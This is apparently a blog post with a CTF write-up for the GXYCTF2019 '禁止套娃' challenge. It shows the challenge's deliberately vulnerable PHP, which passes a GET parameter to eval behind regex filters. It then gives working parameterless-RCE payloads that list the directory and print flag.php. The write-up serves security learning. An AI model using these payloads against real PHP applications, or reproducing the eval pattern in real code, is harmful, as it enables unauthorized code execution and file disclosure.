GXYCTF2019]禁止套娃

为什么最近没写博客呢
因为kail被我搞崩了 一直在搞 现在是重装了 这就是没有拍摄快照习惯的下场
还有呢就是我都阿帕奇 port80被禁了 现在属于是还没解决

git泄露
在这里插入图片描述

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
    #伪协议被ban了
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
        #在GET中寻找'/[a-z,_]+\((?R)?\)/'进行替换
        #?R表示引用正则表达式本身,那么这里允许传入的应该就是下面这种格式 
        #xxx(xxx(xxx(...)));
        #函数形式,但是不能有参数,无参数RCE
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

scandir:浏览目录内的所有文件 当scandir()传入’.'可以列出当前目录的所有文件
localeconv() 返回一包含本地数字及货币格式信息的数组
current() 返回数组中的当前元素的值。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。
pos() 返回数组中的当前元素的值。该函数是 current() 函数的别名。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。

?exp=var_dump(scandir(current(localeconv())));

在这里插入图片描述

next() 函数将内部指针指向数组中的下一个元素,并输出。
array_reverse() 函数返回翻转顺序的数组。

?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

无参RCE

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值